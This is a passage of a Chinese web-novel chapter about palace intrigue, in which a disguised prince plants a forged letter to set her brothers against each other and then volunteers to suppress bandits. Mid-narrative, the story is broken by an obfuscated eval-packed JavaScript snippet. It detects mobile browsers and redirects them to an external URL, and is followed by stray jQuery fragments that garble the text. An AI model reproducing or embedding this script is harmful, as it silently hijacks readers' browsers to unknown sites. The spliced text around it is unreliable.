“殿下!”
卯时方至,管家却突然敲响了顾望黎的房门。
顾望黎刚刚起身,正任由丫鬟给他更衣呢,却听管家敲着门,言语间也满是焦急。
有什么急事值得他一大早这么着急忙慌找来?
他有些疑惑,但听管家声音十分焦急,便忙吩咐丫鬟前去开门。
“何事?”
“禀殿下!”管家跑进屋内,从怀中掏出一封信,低着头恭敬地双手递上。
“今日,不知是谁递了一封匿名信到门口,奴环顾四周,也未找到可疑人等,怕这信中有何要事,便连忙将信拿回给殿下过目。”
“既如此,我来看看。”
顾望黎拿起信封,随意拆开后便翻阅起来。
信封里只有一张薄薄的白纸,纸上也只有简单一句话,可顾望黎看完后却是一脸凝重。
只因信上书着‘顾卓诚欲借琉翠阁运黄金往北境。’一句。
顾望黎不知是谁送来的消息,更不知对方是敌是友。
且不说此事是否是真,可顾卓诚前几日纳妾一事却是不假,而对方也正是那琉翠阁的掌柜——文雪亭。
纳妾一事,当日他不过当个笑话,听听便也将其抛诸脑后了,可谁知这背后竟似有不小的阴谋。
他当时只听闻对方不过是一商户之女,还是个二十出头却仍未嫁人的老姑娘。
他心中不屑于顾卓诚的眼光,但见对方不过是个小妾,便也未去调查对方的背景。
洛阳城的娶妻均是大操大办,但纳妾却只是请些亲朋好友。所以顾卓诚也曾送上过喜帖,邀请他去喝酒。可他不屑与顾卓诚做这表面功夫,便未去现场。
后来还是从顾赟川的口中,他才得知这新纳的宠妾便是琉翠阁的掌柜。
琉翠阁掌柜虽不比洛阳城中其他富商,但到底也是洛阳城数一数二的珠宝阁。
尤其是许多后宅妇人,也多以拥有琉翠阁新出饰品为荣。
顾望黎曾经也听过这家店铺掌柜的传闻,说什么年纪大了也不嫁人,多半是生不出孩子被人退了亲,又有人说她受过情伤因此不愿嫁人,所以铺中多是女子做活这类的传言。
总之,顾望黎对她是没有什么好印象的。
可今日送上来的信却令他不得不将目光转向琉翠阁。
“你们都先出去。”顾望黎穿戴齐整后便吩咐所有人退下。
“是。”
待外间没了下人们的声响,顾望黎这才对着空气道了一声。
“孟一!”
话音刚落,一道黑影忽的闪到顾望黎身前,跪地抱拳等候吩咐。
“去调查一下,这事是否属实。”顾望黎边说着,边将手中的信件递给了孟一。
“是!”孟一双手接过信件,又将其收拢在腰间,抱拳行礼后,宛若一阵风般,再次消失在顾望黎面前。
卯时末
顾询墨站在早朝的队列中,时不时看向站在前头的顾卓诚,又偷偷瞥了一眼顾望黎。
今日将这信递去后,她便一直在期待着两人能斗起来。
只是……
幻想终究是幻想。
这两人今日不仅没有斗起来,相反,两人今日相处还异常和善。
既无明枪暗箭般的讽刺,也无底下官员的指桑骂槐。
安静地可怕……
顾询墨叹了口气,渐渐也收回了看热闹的心。
顾卓诚城府极深,轻易不露出破绽示人。而顾望黎虽行事冲动,却也不是个傻子。
这信中所指一事本就是杜撰,目的便是要这顾望黎也能掺入其中,破坏顾卓诚的计划。
但她相信,纵使顾望黎短期内不去对付顾卓诚,也会暗地派人调查真假。
她就不信顾卓诚能方方面面兼顾,毫无破绽。只要他露出一丝马脚,那顾望黎一定会顺藤摸瓜,趁他病要他命。
“有事起奏,无事退朝。”石览喊了一声,却听下方并无一人要发言,早朝便也这么顺利结束了。
可平静并未保持太久。
去信后不过十日功夫,顾询墨便明显察觉到了顾卓诚与顾望黎之间的氛围愈发诡异。
后来顾赟川也加入了其中,短短几日,形势愈发复杂。在躲过一波明枪暗箭后,顾询墨深感疲惫,也明白了一个道理。
真要明着斗,她肯定是斗不过这些兄弟们的,她只能……先走为上了。
这洛阳,短期内怕是待不下去了。
顾询墨看着今日早朝时愈发憔悴的康元帝,心中隐隐不安。
按照话本中的进展来看,康元帝会在今年腊月病逝,此前顾卓诚与顾望黎的争端已陷入白热化,而傅铮也趁机蚕食了几人不少势力。
他周旋于二人之间,渐渐羽翼丰满,在康元帝病逝前便成为权倾朝野的摄政王。
但与话本中不同的是,顾赟川没死,傅铮此刻也没有什么势力。
但以康元帝如今的身体状况来看,或许确实熬不过今年冬天。
几人之间的争端日后怕只会更加复杂,为防波及到她,顾询墨还是鼓起了勇气,与徐夕照对视一眼后,轻轻点了点头。
徐夕照接收到讯号,用手肘推了推身边河南尹段迟的胳膊。
段迟迟疑一瞬,但迎着徐夕照鼓励的眼神,还是深吸了一口气,走上前来,手持笏板神色恭敬道:“陛下,臣有本启奏。”
“准。”康元帝有气无力地抬了抬手,石览则作为带话人,对着段迟道。
“临川匪患愈发猖獗,近日洛阳城中三位商户在途径临川时被打劫,其中一人殒命,另二人所带货物、财物被打劫干净,回到洛阳时已是身无分文。”
“臣奏请此事,望陛下派人平定匪患,以保虞国安宁啊。”
段迟心中惴惴,这些年来,他已多次提出派人平息匪患的奏折,但朝廷派兵几次也未平息此事。
后来大皇子主动请缨赴临川指治匪,他本以为临川之事便会就此平息。
可谁知,山匪嚣张狂妄,连皇子都敢杀。
如今数年过去,仿佛是为了将这伤心事埋藏,这些年来竟无一人人敢在朝堂提出此事。
可他不一样,这些年来,洛阳城中已有多家商户在途径临川时糟了打劫,他实在无法坐视不理。
去年他也曾提出过此事,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196360|159628||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当时他本以为康元帝会有行动,可最后却又是高高拿起,轻轻放下,此事便这么不了了之了。
昨日,好友徐夕照来他家做客时,他曾借着酒意说出了此事。
但徐夕照却十分笃定地建议他今日早朝时禀报此事。
他虽心中不安,但还是选择相信好友,便再次提出了此事。
……
康元帝闻言沉默了片刻,又对着台下众人,问道:“可有人愿接手此事?”
果然,底下无一人回答。
康元帝也没忍住叹了口气,“既如此……你可有建议?”
康元帝又将烫手山芋抛给了段迟。
“臣……”
“父皇,儿臣愿自请赴临川治匪!”
两道声音同时响起,众人面色一惊,纷纷将目光转向声源处。
却见顾询墨还是如去年那般,神色坚定地走上前来,跪地道:“儿臣愿为父皇分忧!”
这下,康元帝对顾询墨的印象彻底扭转。
从前他曾怀疑过,怀疑小十不过是投机取巧,借治水之事来获得他的关注。
哪怕后来小十治水之行格外成功,但他也还是抱着怀疑的态度,认为他必有所图。
为此,他还特意派了人跟踪了小十几日,但那几日里,小十除了与小五见了面外,便是在青楼厮混,亦或是与他那宠妾待在书房整日不出。
而如今,他不得不信,自己这从未关注过的儿子,确实是几个儿子里难得的好孩子了。
毕竟小十除了平日里除了好些美色,其余时候也不与朝中大臣结党营私,又不与其余兄弟发生矛盾。
而当他有了难事时,小十又是第一个冲上来的,可不就是个孝顺的好孩子吗?
康元帝为顾询墨添上了一层“孝顺”的外衣后,看向她时便也多了几分怜惜。
“你可想清楚了?”康元帝再问了一遍。
“儿臣想清楚了,求父皇恩准!”顾询墨伏地拜道。
“好!”康元帝原本苍白的面容因这剧烈起伏的心绪红润了不少,“既如此,便由你为主将,令派……”
康元帝想到了自己那早逝的大儿子,心中一悲,给顾询墨随行的队伍又多加了些人。
“骠骑将军、兵部侍郎随行,令派禁军五十人,精兵三千随行,其余粮草之事……”康元帝看向段迟,“便由段府尹全权负责,务必将粮草送至小十那里。”
“是!”
康元帝吩咐完,又看向仍低着头的顾询墨,颇有些怜惜。
他强撑着站起身来,石览察觉到康元帝的动作,连忙弓着腰扶着康元帝。
“咚……咚……咚……”
康元帝缓慢的步伐踏进了所有人的心中。
此刻众人尽皆沉默,唯有康元帝压抑的咳嗽声与沉重的脚步声在殿中作响。
众人低着头,神色不一。
自虞国创立以来,从未有过哪位皇帝会在上朝时走下来,而今日……
“起来吧。”康元帝走到顾询墨身边已是气喘吁吁,但他仍松开了石览扶着他的手,转而双手托住了顾询墨的双臂,“你有这份心便好……”